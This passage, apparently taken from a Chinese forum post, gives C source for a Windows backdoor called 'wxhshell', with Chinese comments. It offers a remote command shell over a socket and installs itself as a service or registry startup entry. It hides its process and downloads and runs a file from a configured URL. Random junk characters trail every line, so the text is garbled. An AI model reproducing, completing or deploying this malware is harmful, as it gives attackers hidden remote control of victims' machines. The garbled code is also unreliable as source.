z'G~b[kG4n  
    switch(cmd[0]) { }wJDHgt]-p  
  r`Qzn" H  
  // 帮助 ml|[x M8  
  case '?': { 95,{40;X7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 88dq8T4  
    break; 0#}@- e  
  } %EZG2JjO)  
  // 安装 6[h 3pb/m  
  case 'i': { 31n5n  
    if(Install()) 2[\I{<2/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rsp?N{e  
    else b ;Vy=f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4No!`O-!&  
    break; ?s<'3I{F`  
    } {I!sXj  
  // 卸载 {5f? y\Z  
  case 'r': { M~/%V NX  
    if(Uninstall()) u"%i3%Yjh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V4RtH  
    else >qJRpO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3 lKdXnP  
    break; s^nwF>  
    } f!`,!dZgkd  
  // 显示 wxhshell 所在路径 L`yyn/2>  
  case 'p': { \(lt [=  
    char svExeFile[MAX_PATH]; M'=27!D^  
    strcpy(svExeFile,"\n\r"); ])= k";76  
      strcat(svExeFile,ExeFile); 3 ;F=EMz{  
        send(wsh,svExeFile,strlen(svExeFile),0); "tga FtC=w  
    break; hCX}*  
    } <y(uu(c  
  // 重启 YQ`GOP#/  
  case 'b': { {]\Q UXH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nj*B-M\p  
    if(Boot(REBOOT)) lO-:[@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D?u*^?a2  
    else { tQy@d_a=y  
    closesocket(wsh); lE+v@Kb:  
    ExitThread(0); "YlN_ U  
    } &)Fp  
    break; T4`.rnzyRb  
    } =kq!e  
  // 关机 3_Su5~^  
  case 'd': { #Nt? 4T<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c~0YIk>]  
    if(Boot(SHUTDOWN)) a*d>WN.;U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3A_7R-sQ  
    else { R{~Yh.)~  
    closesocket(wsh); #\G{2\R  
    ExitThread(0); bJD2c\qoc  
    } R$@|t?  
    break; A*BIudli  
    } Kc=&jCn  
  // 获取shell FAVw80?5k  
  case 's': { L Ty [)  
    CmdShell(wsh); &|7pu=  
    closesocket(wsh); tI&Z!fj  
    ExitThread(0); n&=3Knbd@d  
    break; '&5A*X]d  
  } C7`FM@z  
  // 退出 +*3\ C!  
  case 'x': { ?d1H]f<M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oslbt8)U6  
    CloseIt(wsh); e,qc7BJzK  
    break; Nhv~f0  
    } o$>A;<  
  // 离开 Int 6xoz  
  case 'q': { RsS?ibozl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s@C@q(i6  
    closesocket(wsh); $-m`LF@  
    WSACleanup(); 83UIH0(  
    exit(1); 0n S69tH  
    break; 4r!8_$fN?G  
        } w%Tcx^:  
  } _e AZ_@  
  } o'@VDGS`  
&[}T41  
  // 提示信息 Z |uII#lq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i{w<4E3  
} +(VHnxNQs  
  } %ci/(wL  
*p{wC r  
  return; D}l^ow  
} az~4sx$+}  
dOArXp`s  
// shell模块句柄 2E^zQ>;01  
int CmdShell(SOCKET sock) -tWkN^j8+  
{ /i|T\  
STARTUPINFO si; yw`xK2(C$  
ZeroMemory(&si,sizeof(si));  :\1:n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \3(d$_:b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yzt6   
PROCESS_INFORMATION ProcessInfo; :e:jILQ[  
char cmdline[]="cmd"; |a#4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MNNPBE  
  return 0; A,rgN;5fb  
} 5_b`QO  
=h^cfyj  
// 自身启动模式 }wrZP}zM>  
int StartFromService(void) rxQn[  
{ s8 .OL_e  
typedef struct QD%~ A0  
{ y\b.0-z  
  DWORD ExitStatus; f_X]2in  
  DWORD PebBaseAddress; Esw#D90q  
  DWORD AffinityMask; L)JpMf0  
  DWORD BasePriority; >bWsUG9  
  ULONG UniqueProcessId; g5/%}8[- 2  
  ULONG InheritedFromUniqueProcessId; L,0HX   
}   PROCESS_BASIC_INFORMATION; VZ{aET!  
.Ya]N+r*  
PROCNTQSIP NtQueryInformationProcess; pc<")9U%/  
E^_P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YbF}(iM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DoAK]zyJA  
$;Lb|~  
  HANDLE             hProcess; :BG/]7>|V  
  PROCESS_BASIC_INFORMATION pbi; -Y%#z'^-  
nC^?6il  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TLzg*  
  if(NULL == hInst ) return 0; g4 _DEBh  
x(h(a#,r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *xXa4HB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $}r*WZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .|$6Pi%!  
^Afq)26D  
  if (!NtQueryInformationProcess) return 0; .Y[sQO~%  
#>dfP"}&,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9'C kV[  
  if(!hProcess) return 0; jftoqK- p  
&}31q`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RekTWIspT/  
LF?83P,UJ#  
  CloseHandle(hProcess); gUzCDB^.:  
mw";l$Aq}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #~%tdmGuL  
if(hProcess==NULL) return 0; 7!.%HhU0  
"*|plB  
HMODULE hMod; pzmm cjEC  
char procName[255]; 7F.t>$'  
unsigned long cbNeeded; _@jBz"aq\  
Dp!3uR ']p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6b4Kcl<i  
t=J\zyX!  
  CloseHandle(hProcess); My0h9'K  
!fr /WxJ  
if(strstr(procName,"services")) return 1; // 以服务启动 1BUdl=o>S  
z|[#6X6tT  
  return 0; // 注册表启动 ,$@nbS{Q]  
} !xyO  
j7=I!<w V  
// 主模块 5*~Mv<#  
int StartWxhshell(LPSTR lpCmdLine) \]=qGMwFs  
{ =cE:,z ;g  
  SOCKET wsl; t QkEJ pj  
BOOL val=TRUE; WJCEiH  
  int port=0; ^:W.R7|  
  struct sockaddr_in door; ]YYjXg}%  
@gc lks/M  
  if(wscfg.ws_autoins) Install(); rMAH YH9  
L {(\k$>'  
port=atoi(lpCmdLine); HB yk 1  
IE!fNuR4  
if(port<=0) port=wscfg.ws_port; iD,iv  
j|!.K|9B  
  WSADATA data; cy8+@77  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cGiS[-g  
6z@OGExmd#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /*s:ehj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Va,M9)F  
  door.sin_family = AF_INET; mcAg,~"HB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j J6Yz  
  door.sin_port = htons(port); 8`}(N^=}  
|4//%Ll/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (lF;c<69  
closesocket(wsl); D"_~Njf  
return 1; xevG)m  
} *F/uAI^)  
[q]"_4L0;d  
  if(listen(wsl,2) == INVALID_SOCKET) { TtEc~m  
closesocket(wsl); k.? aq  
return 1; bG=CIa&@  
} `"QUA G  
  Wxhshell(wsl); |$@/ Z +  
  WSACleanup(); {Buoo~  
CL%?K<um  
return 0; 9{@#tx  
&RP!9{F<  
} j(/Bf m  
Q/r0p>  
// 以NT服务方式启动 i>6SY83B}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]X~;?>#:p  
{ u38FY@U$  
DWORD   status = 0; J,;[n*s  
  DWORD   specificError = 0xfffffff; 3?I^D /K^  
(UmoG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eA9U|&o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yyZH1A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2Cn^<(F^4I  
  serviceStatus.dwWin32ExitCode     = 0; "8 |y  
  serviceStatus.dwServiceSpecificExitCode = 0; H pXMPHd  
  serviceStatus.dwCheckPoint       = 0; +;SQ }[  
  serviceStatus.dwWaitHint       = 0; B;t U+36nM  
Vr/UbgucJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Srj%6rgsB  
  if (hServiceStatusHandle==0) return; :gv`)  
RP'`\| |*  
status = GetLastError(); (;YO]U4  
  if (status!=NO_ERROR) -}|GkTM  
{ 1BQTvUAA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s>z$_  
    serviceStatus.dwCheckPoint       = 0; epa)ctS9  
    serviceStatus.dwWaitHint       = 0; m)9N9Ii#)  
    serviceStatus.dwWin32ExitCode     = status; YAnt}]u!"  
    serviceStatus.dwServiceSpecificExitCode = specificError; AH`D&V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q(h,P+  
    return; EJY[M  
  } -'+|r]  
Ge$cV}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0 z{S@  
  serviceStatus.dwCheckPoint       = 0; D.xN_NK"  
  serviceStatus.dwWaitHint       = 0; Lu\]]m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gxfw!aF~  
} ut%t`Y( ]  
)l*H$8  
// 处理NT服务事件,比如:启动、停止 ~L Gkc t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =MO2M~e!  
{ m! &bK5+*  
switch(fdwControl) ^zkTV_,cRp  
{ w~M5)b  
case SERVICE_CONTROL_STOP: _H@s^g  
  serviceStatus.dwWin32ExitCode = 0; >R3~P~@30  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y9~;6fg  
  serviceStatus.dwCheckPoint   = 0; ,pir,Eozg  
  serviceStatus.dwWaitHint     = 0; ], Wh]q  
  { D4'"GaCv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=\Lw+X  
  } Malt 7M  
  return; AWC zu5ve  
case SERVICE_CONTROL_PAUSE: EAo7(d@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OO_{ o  
  break; T:x5 ,vpM  
case SERVICE_CONTROL_CONTINUE: B5Rmz&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |#R;pEn  
  break; lqA U5K{wQ  
case SERVICE_CONTROL_INTERROGATE: ! e6;@*  
  break; k\_>/)g  
}; k6rX/ocu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @va{&i`%A7  
} gVCkj!{  
>JS\H6  
// 标准应用程序主函数 -_'M *-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f2[z)j7  
{ )/2* <jr  
R?+Eo(0q,  
// 获取操作系统版本 {r.#R| 4v  
OsIsNt=GetOsVer(); LfyycC2E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 94I8~Jj4  
qRsPi0;  
  // 从命令行安装 0:Js{$ZL4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]7zDdI|  
7;Km J}$  
  // 下载执行文件 wRf_IBhCd  
if(wscfg.ws_downexe) { N^q*lV#kob  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /MTS>[E  
  WinExec(wscfg.ws_filenam,SW_HIDE); W5}.WFu  
} m}6GVQ'Q  
/a17B  
if(!OsIsNt) { l W'6rat  
// 如果时win9x,隐藏进程并且设置为注册表启动 :BCjt@K}  
HideProc(); ]tH/87qJ  
StartWxhshell(lpCmdLine); TJ7on.;  
} 0 sVCTJ@  
else VZYd CZ&l7  
  if(StartFromService()) )z3mS2  
  // 以服务方式启动 ] =b?^'  
  StartServiceCtrlDispatcher(DispatchTable); eB/3MUz1  
else $y\'j5nk3  
  // 普通方式启动 2tC ep  
  StartWxhshell(lpCmdLine); O(,Ezy x  
*gHOH!K,S  
return 0; ItQIM#  
}
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只看该作者 1 发表于: 2006-10-10
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